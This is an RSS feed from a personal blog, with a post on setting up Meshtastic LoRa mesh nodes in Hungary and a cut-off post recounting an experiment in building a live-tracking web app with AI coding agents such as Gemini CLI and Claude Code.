<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Posts on Gyuri Horák</title>
    <link>https://horak.hu/posts/</link>
    <description>Recent content in Posts on Gyuri Horák</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>en</language>
    <copyright>© Gyuri Horák</copyright>
    <lastBuildDate>Thu, 26 Mar 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://horak.hu/posts/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>Meshtastic</title>
      <link>https://horak.hu/posts/meshtastic/</link>
      <pubDate>Thu, 26 Mar 2026 00:00:00 +0000</pubDate>
      
      <guid>https://horak.hu/posts/meshtastic/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;https://meshtastic.org&#34;&gt;Meshtastic&lt;/a&gt; is an open-source project that uses LoRa (Long Range radio) technology to enable the creation of autonomous mesh networks. This means Meshtastic devices can communicate with each other without needing a central server or an internet connection. This is particularly useful in places where there is no reliable mobile network or internet.&lt;/p&gt;
&lt;p&gt;
  &lt;img src=&#34;https://horak.hu/posts/meshtastic/hungary_map.jpg&#34; alt=&#34;Hungarian network&#34;&gt;

&lt;/p&gt;
&lt;p&gt;Or when those are deliberately shut down.&lt;/p&gt;</description>
      <content>&lt;p&gt;&lt;a href=&#34;https://meshtastic.org&#34;&gt;Meshtastic&lt;/a&gt; is an open-source project that uses LoRa (Long Range radio) technology to enable the creation of autonomous mesh networks. This means Meshtastic devices can communicate with each other without needing a central server or an internet connection. This is particularly useful in places where there is no reliable mobile network or internet.&lt;/p&gt;
&lt;p&gt;
  &lt;img src=&#34;https://horak.hu/posts/meshtastic/hungary_map.jpg&#34; alt=&#34;Hungarian network&#34;&gt;

&lt;/p&gt;
&lt;p&gt;Or when those are deliberately shut down.&lt;/p&gt;
&lt;h2 id=&#34;what-is-lora&#34;&gt;What is LoRa?&lt;/h2&gt;
&lt;p&gt;LoRa is a wireless communication technology that promises long range at low power consumption. Devices can communicate with each other over distances of several kilometres while using minimal energy. LoRa technology is particularly well-suited for applications where long-range communication and low power draw matter, such as agricultural sensors, urban infrastructure, or emergency communications.&lt;/p&gt;
&lt;p&gt;It operates on freely available frequency bands (433 MHz, 868 MHz in Europe, 915 MHz in the US), so no licence is required to use it — though transmit power and communication speed may be limited by local regulations (typically well below 1W).&lt;/p&gt;
&lt;p&gt;LoRa itself only defines the physical layer, which specifies how radio communication happens. The network layer and protocols, however, can vary depending on the use case.&lt;/p&gt;
&lt;p&gt;LoRaWAN (LoRa Wide Area Network), for example, is primarily used in IoT (Internet of Things) applications — agriculture, industry, remote sensor readout — where a central network server manages communication between devices. Meshtastic and MeshCore, by contrast, create a peer-to-peer mesh network where devices communicate directly with each other, without needing a central server.&lt;/p&gt;
&lt;p&gt;Power consumption obviously also depends on how the technology is used, but for example &amp;ldquo;dumb&amp;rdquo; soil moisture sensors can run for years on a single 1.5V AA battery.&lt;/p&gt;
&lt;h2 id=&#34;meshtastic&#34;&gt;Meshtastic&lt;/h2&gt;
&lt;p&gt;In Hungary, of the two more popular LoRa-based mesh networks, Meshtastic is currently more widespread — compared to &lt;a href=&#34;https://meshcore.co.uk/&#34;&gt;MeshCore&lt;/a&gt;, which is a newer project with a smaller community and a more technical bent — so I wanted to try that one first.&lt;/p&gt;
&lt;h3 id=&#34;the-basics-of-meshtastic&#34;&gt;The basics of Meshtastic&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Fully decentralised&lt;/li&gt;
&lt;li&gt;Encrypted communication&lt;/li&gt;
&lt;li&gt;Text messages, location sharing, and other data transmission (temperature, humidity, etc.)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;devices&#34;&gt;Devices&lt;/h3&gt;
&lt;p&gt;Meshtastic devices typically consist of a LoRa module, a microcontroller (e.g. ESP32), and a battery. Many varieties exist: there are so-called &amp;ldquo;companion&amp;rdquo; devices that connect to a smartphone via Bluetooth; some have a display, some don&amp;rsquo;t; there are &amp;ldquo;dumb&amp;rdquo; devices for GPS tracking only; and there are devices that look almost like a small phone with a keyboard, allowing you to send and receive messages on their own.&lt;/p&gt;
&lt;h3 id=&#34;how-it-works&#34;&gt;How it works&lt;/h3&gt;
&lt;h4 id=&#34;flooding&#34;&gt;Flooding&lt;/h4&gt;
&lt;p&gt;In the network, every device (that is configured to do so) tries to forward messages to other devices until they reach their destination.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The sending device transmits the message with a hop limit set on it (maximum 7)&lt;/li&gt;
&lt;li&gt;A receiving device gets the message, and if it is not the intended recipient, hasn&amp;rsquo;t seen that packet before (identified by packet ID, stored in a sliding window cache), and the retransmission count hasn&amp;rsquo;t yet reached the hop limit, it forwards the message to other devices&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&#34;encryption&#34;&gt;Encryption&lt;/h4&gt;
&lt;p&gt;On first use, every device generates a key pair and shares its public key with other devices (via regular &amp;ldquo;nodeinfo&amp;rdquo; broadcasts). Direct messages are encrypted by the sender using the recipient&amp;rsquo;s public key, so only the recipient can decrypt the message using their own private key. Forwarded messages are received by every device along the way, but they cannot decrypt them and therefore cannot see their contents.&lt;/p&gt;
&lt;p&gt;Messages on shared channels are also encrypted, so the network remains secure even if someone attempts to intercept the communication. (Channels require an encryption key to join — on public channels this key is known to everyone, but messages sent to them are still encrypted; it&amp;rsquo;s just that anyone can decrypt them.)&lt;/p&gt;
&lt;h4 id=&#34;mqtt-bridge&#34;&gt;MQTT bridge&lt;/h4&gt;
&lt;p&gt;While entirely optional, it is possible to configure an MQTT bridge that forwards messages to a central server, making them accessible through a web interface. This can be particularly useful in locations with internet connectivity where you want to monitor or control the network from a central point.&lt;/p&gt;
&lt;p&gt;The bridge can theoretically also be used to connect two physically separate networks, though this is not a very common use case (and obviously compromises the &amp;ldquo;autonomy&amp;rdquo; aspect).&lt;/p&gt;
&lt;h3 id=&#34;my-own-setup&#34;&gt;My own setup&lt;/h3&gt;
&lt;p&gt;I started with a Seeed Studio T1000E and a Heltec T114, both of which I can carry with me — both run on the nRF52840 microcontroller, which consumes significantly less power than ESP32-based variants. My original plan was to take one of them running with me, so people could track my position even in areas without mobile coverage.&lt;/p&gt;
&lt;p&gt;
  &lt;img src=&#34;https://horak.hu/posts/meshtastic/devices.jpg&#34; alt=&#34;T1000E and T114&#34;&gt;

&lt;/p&gt;
&lt;p&gt;In a first larger test in the Pilis hills, it performed well — position reports came through even from the Apátkúti valley. The Pilis is particularly well-covered, and at the time the Hungarian community was using the &amp;ldquo;LongFast&amp;rdquo; preset, which was better for coverage than the currently used &amp;ldquo;MediumFast&amp;rdquo; (the community switched to the latter because the network in Budapest was starting to get congested).&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A &lt;strong&gt;preset&lt;/strong&gt; is a predefined set of settings that determines the parameters of LoRa communication, such as speed, coding rate, bandwidth, etc. These parameters affect the range and power consumption. For example, the &amp;ldquo;LongFast&amp;rdquo; preset provides longer range at lower data transmission speed, while the &amp;ldquo;MediumFast&amp;rdquo; allows for faster data transmission at shorter range.&lt;/p&gt;
&lt;p&gt;A more detailed explanation of the parameters can be found in the &lt;a href=&#34;https://meshtastic.org/docs/configuration/radio/lora/&#34;&gt;Meshtastic documentation&lt;/a&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;At home, though, nothing showed up (Budakeszi is quite shielded, especially from the direction of Budapest and the Pilis), but I did receive messages while running in the area, so I decided to put a node on the rooftop to improve local coverage. That became a Heltec V3 (ESP32-based, powered from mains). Even that wasn&amp;rsquo;t enough — despite fitting it with a larger (4 dBi) antenna, I barely saw anything beyond the occasional stray packet (probably forwarded by someone passing through the area).&lt;/p&gt;
&lt;p&gt;The breakthrough came last Tuesday, when an AB-IOT amplifier I ordered from AliExpress arrived — now I can both see and be seen. :) With a single node I have a stable link to one that sits on a peak in the Gerecse, about 40 km away, so the range really is something else. The connection is surprisingly stable even though the signal strength is around -100 dBm and the SNR (signal-to-noise ratio) is around -10 dB, which don&amp;rsquo;t look like impressive numbers at all. A traceroute initiated from Normafa (~2.5 km away) travelled more than 100 km before it got back home. :)&lt;/p&gt;
&lt;p&gt;
  &lt;img src=&#34;https://horak.hu/posts/meshtastic/traceroute_normafa.jpg&#34; alt=&#34;Traceroute from Normafa&#34;&gt;

&lt;/p&gt;
&lt;p&gt;I also ran a few traceroutes toward more distant nodes and found that 38 km is far from the limit — nodes with good antennas, amplifiers, and filters can do significantly more.&lt;/p&gt;
&lt;p&gt;
  &lt;img src=&#34;https://horak.hu/posts/meshtastic/traceroute_koszeg.jpg&#34; alt=&#34;Traceroute to Kőszeg&#34;&gt;

&lt;/p&gt;
&lt;p&gt;A solar-powered node on the Csergezán Pál lookout tower would help a lot, but unfortunately it was closed at the end of last year, so I haven&amp;rsquo;t even started asking around about how to officially install something there.&lt;/p&gt;
&lt;h2 id=&#34;the-hungarian-community&#34;&gt;The Hungarian community&lt;/h2&gt;
&lt;p&gt;The Hungarian mesh community, while not large, is definitely bigger than I initially expected. :) At the moment coverage is concentrated around Budapest, Northern Transdanubia, and a few larger cities, but new nodes are appearing every day, so the situation can change quickly.&lt;/p&gt;
&lt;p&gt;Current settings can be found on the &lt;a href=&#34;https://meshtastic.creativo.hu/&#34;&gt;Hungarian Meshtastic community&lt;/a&gt; website, where there is also a &lt;a href=&#34;https://meshtastic.creativo.hu/map.php&#34;&gt;map&lt;/a&gt; showing where nodes are located and how likely you are to be able to reach them.&lt;/p&gt;
&lt;p&gt;Also worth checking out is the &lt;a href=&#34;https://mesh868.czd.hu/&#34;&gt;MQTT data collection site&lt;/a&gt;, where you can monitor network traffic and see which nodes are communicating with each other.&lt;/p&gt;
&lt;p&gt;
  &lt;img src=&#34;https://horak.hu/posts/meshtastic/gerecse_stats.jpg&#34; alt=&#34;Gerecse connection statistics&#34;&gt;

&lt;/p&gt;
&lt;p&gt;Since the mesh is far from complete, and because of the 7-hop limit not everyone would necessarily see every message anyway, communication also happens on Discord (yeah, I know&amp;hellip;), where there&amp;rsquo;s always someone who can help if you get stuck with the configuration.&lt;/p&gt;
&lt;h2 id=&#34;ok-but-what-is-all-this-actually-good-for&#34;&gt;OK, but what is all this actually good for?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Off-grid communication in the middle of nowhere — hiking, or places with no mobile coverage (or &amp;ldquo;survival trips&amp;rdquo; where you&amp;rsquo;re not allowed to bring a phone)&lt;/li&gt;
&lt;li&gt;Tracking cars, motorcycles, or escape-artist dogs via GPS without any subscription fees&lt;/li&gt;
&lt;li&gt;Emergency communication during floods, earthquakes, and similar events&lt;/li&gt;
&lt;li&gt;Building community networks in places without reliable internet&lt;/li&gt;
&lt;li&gt;Experimentation, learning, and getting to know the technology&lt;/li&gt;
&lt;li&gt;But seriously — an off-grid, autonomous, encrypted communication channel that&amp;rsquo;s difficult to even detect due to its low transmit power, if you don&amp;rsquo;t know exactly what to look for&amp;hellip; in a word: &lt;em&gt;for preppers&lt;/em&gt; :)&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;Original post in hungarian: &lt;a href=&#34;https://horak.hu/hu/posts/meshtastic/&#34;&gt;here&lt;/a&gt;, english translation mostly done by Claude.&lt;/p&gt;
&lt;/blockquote&gt;</content>
    </item>
    
    <item>
      <title>Garmin report - 2025</title>
      <link>https://horak.hu/posts/garmin-report-2025/</link>
      <pubDate>Wed, 31 Dec 2025 00:00:00 +0000</pubDate>
      
      <guid>https://horak.hu/posts/garmin-report-2025/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;https://horak.hu/posts/garmin-report-2025/report.html&#34;&gt;HTML report&lt;/a&gt;&lt;/p&gt;</description>
      <content>&lt;p&gt;&lt;a href=&#34;https://horak.hu/posts/garmin-report-2025/report.html&#34;&gt;HTML report&lt;/a&gt;&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>Agentic Coding - AI, as a software developer</title>
      <link>https://horak.hu/posts/agentic-coding/</link>
      <pubDate>Tue, 26 Aug 2025 00:00:00 +0000</pubDate>
      
      <guid>https://horak.hu/posts/agentic-coding/</guid>
      <description>&lt;p&gt;AI (more precisely LLMs) have been developing very rapidly lately, and it is hard to avoid them in everyday life - they have been integrated into Google search, our email, browser, mobile phone, social media, and they come across whether we like it or not. For some time now, it has also been said that they will replace programmers, and the term &lt;em&gt;vibe coding&lt;/em&gt; has also appeared, which refers to developers only providing the &lt;em&gt;vibe&lt;/em&gt;, and the AI writing the code.&lt;/p&gt;
&lt;p&gt;I have been using it since the beginning (when I got the beta Copilot, quite early on), mainly as a smarter code completion tool, and recently I have occasionally asked it about topics that I rarely need to deal with and do not remember the details exactly, but I have never generated complete programs or larger code snippets with it. Until around the beginning of this year, I considered vibe coding mainly as a game, and most of the stories I came across on social media were more funny or interesting than serious - for example, someone created a complete service with AI assistance without any programming knowledge, just by &amp;ldquo;vibing&amp;rdquo;, and is already making money with it, then a few days later reported that their service was hacked and they had no idea what to do since they had clients, where could they get help, &amp;hellip;&lt;/p&gt;
&lt;p&gt;Then around the beginning of this year, some professionals whose opinions I value (e.g. &lt;a href=&#34;https://lucumr.pocoo.org&#34;&gt;Armin Ronacher&lt;/a&gt;) also spoke positively about the topic, and credible stories also appeared on Reddit, so at the end of spring I decided to embark on an experiment and &lt;em&gt;vibe code&lt;/em&gt; a simpler web application. I leave everything possible to AI agents, and only touch the code if absolutely necessary.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;TL;DR:&lt;/strong&gt; I was skeptical at first, but now I have a new friend, Claude, who develops my live-tracker project in the evenings while we tinker in the garden or during long boring meetings.&lt;/p&gt;</description>
      <content>&lt;p&gt;AI (more precisely LLMs) have been developing very rapidly lately, and it is hard to avoid them in everyday life - they have been integrated into Google search, our email, browser, mobile phone, social media, and they come across whether we like it or not. For some time now, it has also been said that they will replace programmers, and the term &lt;em&gt;vibe coding&lt;/em&gt; has also appeared, which refers to developers only providing the &lt;em&gt;vibe&lt;/em&gt;, and the AI writing the code.&lt;/p&gt;
&lt;p&gt;I have been using it since the beginning (when I got the beta Copilot, quite early on), mainly as a smarter code completion tool, and recently I have occasionally asked it about topics that I rarely need to deal with and do not remember the details exactly, but I have never generated complete programs or larger code snippets with it. Until around the beginning of this year, I considered vibe coding mainly as a game, and most of the stories I came across on social media were more funny or interesting than serious - for example, someone created a complete service with AI assistance without any programming knowledge, just by &amp;ldquo;vibing&amp;rdquo;, and is already making money with it, then a few days later reported that their service was hacked and they had no idea what to do since they had clients, where could they get help, &amp;hellip;&lt;/p&gt;
&lt;p&gt;Then around the beginning of this year, some professionals whose opinions I value (e.g. &lt;a href=&#34;https://lucumr.pocoo.org&#34;&gt;Armin Ronacher&lt;/a&gt;) also spoke positively about the topic, and credible stories also appeared on Reddit, so at the end of spring I decided to embark on an experiment and &lt;em&gt;vibe code&lt;/em&gt; a simpler web application. I leave everything possible to AI agents, and only touch the code if absolutely necessary.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;TL;DR:&lt;/strong&gt; I was skeptical at first, but now I have a new friend, Claude, who develops my live-tracker project in the evenings while we tinker in the garden or during long boring meetings.&lt;/p&gt;
&lt;h2 id=&#34;the-project&#34;&gt;The project&lt;/h2&gt;
&lt;p&gt;
  &lt;img src=&#34;./vibe-tracker.jpg&#34; alt=&#34;Vibe Tracker&#34;&gt;

&lt;/p&gt;
&lt;p&gt;I wanted to create a meaningful project, not just another TODO app, and since I often run in the wilderness, sometimes alone for longer distances, I like it when my friends know where I am. Until now, I have been sending Garmin livetrack links, but that is a bit cumbersome, and as soon as the run is over, it is no longer available, so I thought it would be nice to have a live-tracker like this that could be expanded later, e.g. with team tracking - this could be useful for those who want to follow the whole team during long relays (e.g. UB).&lt;/p&gt;
&lt;p&gt;The MVP was to be a simple single-user website that could track me, but we went much further than that:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;multiple users (but no registration), profile editing&lt;/li&gt;
&lt;li&gt;real-time location sharing&lt;/li&gt;
&lt;li&gt;naming of livetrack sessions, ability to review them later&lt;/li&gt;
&lt;li&gt;map display of users&amp;rsquo; last public locations on the main page&lt;/li&gt;
&lt;li&gt;mobile-friendly interface&lt;/li&gt;
&lt;li&gt;dark mode&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To be able to track my location, I supplemented one of my Garmin datafields with such a capability. I tried to get AI help for this as well, but at that time I was only using Gemini, which did not handle the - otherwise indeed exotic and rarely used - Garmin Monkey-C language well, so I wrote it myself. With the experience gained since then, I will try again, as I will need a more general version anyway.&lt;/p&gt;
&lt;p&gt;(&lt;a href=&#34;https://apps.garmin.com/apps/a856fd3b-3b97-43af-b50f-2b416c4046ed&#34;&gt;available here&lt;/a&gt;, but still quite experimental and only works on more expensive watches)&lt;/p&gt;
&lt;h3 id=&#34;the-tech-stack&#34;&gt;The tech stack&lt;/h3&gt;
&lt;p&gt;According to the conversations I read on the social media sites, it&amp;rsquo;s better to choose a simpler (more beginner-friendly) language and start with as few external dependencies as possible. Python, plain JavaScript were good choices, or even Go as it is relatively simple but still properly typed, so I chose it for the backend. Also, I did not want to start from scratch, so I chose &lt;a href=&#34;https://pocketbase.io/&#34;&gt;PocketBase&lt;/a&gt; for the backend, which is a simple backend solution that also offers a REST API and has a pretty good admin interface.&lt;/p&gt;
&lt;p&gt;For the frontend, I chose plain HTML/CSS/JS (with web components), and although TypeScript would be the obvious choice if I were writing the code myself, I read that complex types can confuse AIs, so at the beginning I stuck with plain JavaScript, which also allowed me to get started without any build system.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Backend:&lt;/em&gt; PocketBase (Go)&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Frontend:&lt;/em&gt; HTML/CSS/JS (web components)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&#34;agentic-coding-experiment&#34;&gt;Agentic coding experiment&lt;/h2&gt;
&lt;p&gt;On the command line: since I have been using the terminal for everything for 25+ years, it was natural to choose a terminal-based solution - despite having a Github Copilot subscription for years, it only has IDE integrations currently. When I started thinking about the experiment, everyone was migrating from &lt;a href=&#34;https://cursor.com/&#34;&gt;Cursor&lt;/a&gt; to &lt;a href=&#34;https://claude.ai&#34;&gt;Claude&lt;/a&gt;, and I was about to subscribe to the Pro version, which offers &lt;code&gt;Claude Code&lt;/code&gt; terminal agent, when Google made the &lt;a href=&#34;https://gemini.google.com/cli&#34;&gt;Gemini CLI&lt;/a&gt; agent freely available, so I started using that instead.&lt;/p&gt;
&lt;h3 id=&#34;first-experiences&#34;&gt;First experiences&lt;/h3&gt;
&lt;p&gt;On June 25, Gemini CLI was announced, and by the evening, the MVP was ready.&lt;/p&gt;
&lt;p&gt;
  &lt;img src=&#34;./ai_start.jpg&#34; alt=&#34;first steps&#34;&gt;

&lt;/p&gt;
&lt;p&gt;Okay, the task was not super complicated, but I had almost no experience in using AI agents in this way, and what it produced was quite acceptable, especially for a tech demo.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;✅ quick demos for proof-of-concept purposes&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;lets-move-on&#34;&gt;Let&amp;rsquo;s move on&lt;/h3&gt;
&lt;p&gt;The goal was to push the boundaries of technology, so I could not stop here, the next step was to support multiple users.&lt;/p&gt;
&lt;p&gt;And the first problem. The plan was apparently very cleverly created by Gemini, but during implementation, problems arose. PocketBase is not a very widely used solution (though it has over 50k stars on GitHub), so the model was probably trained on few related example codes, and despite reading the documentation, it started hallucinating non-existent methods, and when it deleted them and added them back again, it got into a loop, so I had to help it. I was still too enthusiastic at that point, so I just wrote the two problematic lines myself and we moved on, but that was the first and last time I touched the code.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;❌ with less known technologies, the model may hallucinate and get into loops&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;During the Garmin datafield extension it started to write Java-like code, which did not work there, so I did not insist on it, and wrote it myself instead.&lt;/p&gt;
&lt;h3 id=&#34;docker&#34;&gt;Docker&lt;/h3&gt;
&lt;p&gt;Everything else on my NAS runs in Docker, so the next step was to dockerize it.&lt;/p&gt;
&lt;p&gt;And here another advantage of AI agents was revealed: I write a Dockerfile from scratch about once every six months, and I always forget the syntax, so I usually start by searching and reading documentation. This time I skipped that, Gemini wrote the Dockerfile for me in half a second, built it, tested it, asked me to log in (&lt;code&gt;docker login&lt;/code&gt;), and uploaded it to &lt;a href=&#34;https://hub.docker.com/r/dyuri/vibe-tracker&#34;&gt;DockerHub&lt;/a&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;✅ quickly helps with rarely used but otherwise simple, well-documented tasks&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;gpx-upload-mini-tool&#34;&gt;GPX upload mini tool&lt;/h3&gt;
&lt;p&gt;To test the functionality, I needed a way to upload larger routes, so I created a small tool called &lt;a href=&#34;https://github.com/dyuri/vibe-tracker/tree/main/tools/gpxup&#34;&gt;gpxup&lt;/a&gt; that uploads a GPX file via the API.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;✅ quickly creates small tools and scripts&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;claude&#34;&gt;Claude&lt;/h3&gt;
&lt;p&gt;Since I read everywhere that you can try and prompt other agents however you want, they won&amp;rsquo;t achieve the results of Claude, I decided to invest in a Pro subscription and try it out.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;It is recommended everywhere that although the annual subscription is cheaper, things are changing so fast that you should rather take a monthly subscription, and if necessary, you can cancel and switch to the current best solution at any time.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I have to say that in my workflow, Claude is in a completely different league than anything else I have tried so far (up to the writing of this blog post). Currently, if you want to use AI for programming, it is Claude Code. (The Pro subscription only includes the Sonnet-4 model, not the more advanced Opus, but even so, I felt a big difference compared to other solutions.)&lt;/p&gt;
&lt;p&gt;All the features have been unleashed: login, profile page, session page, dark mode, &amp;hellip;&lt;/p&gt;
&lt;h3 id=&#34;mcp-servers&#34;&gt;MCP servers&lt;/h3&gt;
&lt;p&gt;MCP (Model Context Protocol) is a new standard that allows AI models to use external services (databases, programs, &amp;hellip;). It is quite simple (maybe too simple, time will tell), and almost everything supports it. For example, with its help, agents can use a real browser and can check and debug the web pages they create. ( &lt;a href=&#34;https://github.com/microsoft/playwright-mcp&#34;&gt;playwright-mcp&lt;/a&gt; )&lt;/p&gt;
&lt;p&gt;When Claude placed the user avatar at the end of the route, I did not like the shape of the marker - despite telling it that I wanted an upside-down teardrop shape, it used some lame oval (although drops do look more like that when falling, but whatever). I was about to touch the code myself when I remembered that I could try Playwright MCP, and with its help, we managed to get past the problem without human intervention.&lt;/p&gt;
&lt;p&gt;
  &lt;img src=&#34;./playwright_mcp.jpg&#34; alt=&#34;playwright mcp&#34;&gt;

&lt;/p&gt;
&lt;h3 id=&#34;rough-refactor&#34;&gt;Rough refactor&lt;/h3&gt;
&lt;p&gt;At this point, I had a usable web application whose backend was essentially a single &lt;code&gt;main.go&lt;/code&gt;, and the frontend consisted of a few HTML and JS files. In the long run, this is not maintainable - especially if I have to touch it later myself - so I decided to ask Claude to refactor the code.&lt;/p&gt;
&lt;p&gt;Since I suspected that this would be a big chunk, I first had Claude (sonnet-4) create a detailed plan, which I reviewed with Gemini (2.5-pro) and Copilot (GPT-5) - who also added some comments - then the plan was broken down into smaller tasks by Claude, and I asked him to start it so that it would stop after each major step and wait for me to review what it had done. This method worked very well, it updated the plan documents (&lt;a href=&#34;https://github.com/dyuri/vibe-tracker/blob/main/plans/PLAN-refactor-20250819.md&#34;&gt;backend plan&lt;/a&gt;, &lt;a href=&#34;https://github.com/dyuri/vibe-tracker/blob/main/plans/PLAN-fe-refactor-20250823.md&#34;&gt;frontend plan&lt;/a&gt;) after each step to clearly see where we were, so we could always continue where we left off the next day - or when I ran out of the 5-hour limit.&lt;/p&gt;
&lt;p&gt;The backend refactor took 3 days, the frontend 2 days (not full days, 3-4 hours of active work per day), I reviewed everything it did after each step, asked for modifications where needed, ran tests with it, and only moved on when everything was fine.&lt;/p&gt;
&lt;p&gt;The two PRs became huge, but the more enthusiastic can review them if they want:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/dyuri/vibe-tracker/pull/6&#34;&gt;backend refactor PR&lt;/a&gt; ~15k+ lines&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/dyuri/vibe-tracker/pull/7&#34;&gt;frontend refactor PR&lt;/a&gt; ~28k+ lines&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;(The backend PR failed because gitguardian found the test account password created for Claude among the commits. :D This only works in my development environment, so I did not start messing with the git history.)&lt;/em&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;✅ serious refactoring with strict supervision and testing&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;For now, the project is at this point, I thought I would write this blog post and take a little break, then see where to go next.
Soon it may reach a size that Claude can hardly handle with its 200k token limit, but there is no sign of that yet.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://github.com/dyuri/vibe-tracker&#34;&gt;vibe tracker on github&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;tools-models&#34;&gt;Tools, models&lt;/h2&gt;
&lt;p&gt;As I wrote above, which model or tool is the best depends on how you use it, what task you want to solve, and by the time I post this article, probably 10 new ones will have come out.&lt;/p&gt;
&lt;h3 id=&#34;models&#34;&gt;Models&lt;/h3&gt;
&lt;p&gt;New ones appear daily, their capabilities/prices/availability are quite varied, you can browse &lt;a href=&#34;https://models.dev/&#34;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Some can only be used through their own interface, some you can run yourself (if you have the right hardware). Moreover, they can be evaluated based on many aspects, e.g. how good they are at making plans, how well they generate code, whether they can use tools (testing, debugging), how well they follow what you say, how well they can handle longer contexts, and of course how much they cost. A model that is good in one aspect may fail in another, it really depends on what and how you use it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;My experiences:&lt;/strong&gt;&lt;/p&gt;
&lt;h4 id=&#34;gemini-25-pro-and-flash-google&#34;&gt;Gemini 2.5 pro and flash (Google)&lt;/h4&gt;
&lt;p&gt;I used it for free through Gemini CLI, the &lt;code&gt;pro&lt;/code&gt; daily limit runs out after a while, but it automatically switches to &lt;code&gt;flash&lt;/code&gt;. Perfect for getting to know it, not bad for simpler programming tasks, but I managed to get it into a loop and it also hallucinated. The CLI version has the advantage that if I see it is going astray, I can quickly stop it and steer it back on track.&lt;/p&gt;
&lt;h4 id=&#34;gpt-41-and-gpt-5-openai&#34;&gt;GPT-4.1 and GPT-5 (OpenAI)&lt;/h4&gt;
&lt;p&gt;I tried them through Github Copilot (the GPT-5 is quite recent, it appeared during the project), and I used them in the terminal with the help of &lt;a href=&#34;https://opencode.ai&#34;&gt;opencode&lt;/a&gt;. It may be familiar to many from the ChatGPT interface, but I have mixed experiences with them, especially the GPT-5 tended to wander off and do things that no one asked for. This was less noticeable with GPT-4.1, but I did not try too much with either, because Claude seemed much better.&lt;/p&gt;
&lt;h4 id=&#34;claude-sonnet-4-anthropic&#34;&gt;Claude Sonnet-4 (Anthropic)&lt;/h4&gt;
&lt;p&gt;The best I have tried, my experiences can be read above. It performed very well in planning, coding, and refactoring, and if it encountered something it could not solve on the spot - or felt that it would require more effort than I expected based on my request - it indicated this and suggested alternative solutions. I did not experience this with other models.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;During the refactor, I ran out of Claude&amp;rsquo;s limit at one point, and I thought I would have the new GPT-5 write unit tests for the completed part. I almost succeeded, but to properly test two functions, PocketBase would have been needed, mocking the whole thing would have been pointless, so it solved it by &lt;strong&gt;deleting&lt;/strong&gt; things from the implementation and keeping only the testable parts. :D&lt;/p&gt;
&lt;p&gt;Claude, on the other hand, simply stated that it would not write unit tests for those two functions, but that it would be worth writing integration tests for them later.&lt;/p&gt;
&lt;p&gt;
  &lt;img src=&#34;./skipped_tests.jpg&#34; alt=&#34;claude unit test skip&#34;&gt;

&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;agents&#34;&gt;Agents&lt;/h3&gt;
&lt;p&gt;There are also many types of agents, everyone knows the websites where you can chat with LLMs, but there are also solutions specifically designed for programming:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;command-line (CLI/TUI) tools
&lt;ul&gt;
&lt;li&gt;those provided by the model vendors themselves (Gemini CLI, Claude code, OpenAI codex, &amp;hellip;)&lt;/li&gt;
&lt;li&gt;independent but resellers (Cursor cli)&lt;/li&gt;
&lt;li&gt;completely independent (opencode, crush, &amp;hellip;)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;IDE extensions (Github Copilot, Amazon CodeWhisperer, Tabnine, &amp;hellip;)&lt;/li&gt;
&lt;li&gt;complete IDEs (Cursor, Replit, &amp;hellip;)&lt;/li&gt;
&lt;li&gt;Copilot on Github (generating PRs, code review, handling issues, &amp;hellip;)&lt;/li&gt;
&lt;li&gt;&amp;hellip;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;my-workflow&#34;&gt;My workflow&lt;/h2&gt;
&lt;p&gt;
  &lt;img src=&#34;./dev_env.jpg&#34; alt=&#34;development environment&#34;&gt;

&lt;/p&gt;
